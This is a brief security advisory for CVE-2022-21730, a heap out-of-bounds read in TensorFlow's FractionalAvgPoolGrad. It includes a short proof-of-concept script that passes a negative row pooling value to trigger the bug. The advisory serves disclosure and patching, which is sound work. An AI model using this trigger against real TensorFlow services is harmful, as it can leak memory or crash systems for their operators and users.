CVE-2022-21730: Out of bounds read in Tensorflow

(updated )

The implementation of FractionalAvgPoolGrad does not consider cases where the input tensors are invalid allowing an attacker to read from outside of bounds of heap:

import tensorflow as tf

@tf.function
def test():
y = tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=[2,2,2,2],
out_backprop=[[[[1,2], [3, 4], [5, 6]], [[7, 8], [9,10], [11,12]]]],
row_pooling_sequence=[-10,1,2,3],
col_pooling_sequence=[1,2,3,4],
overlapping=True)
return y

test()

References

Code Behaviors & Features

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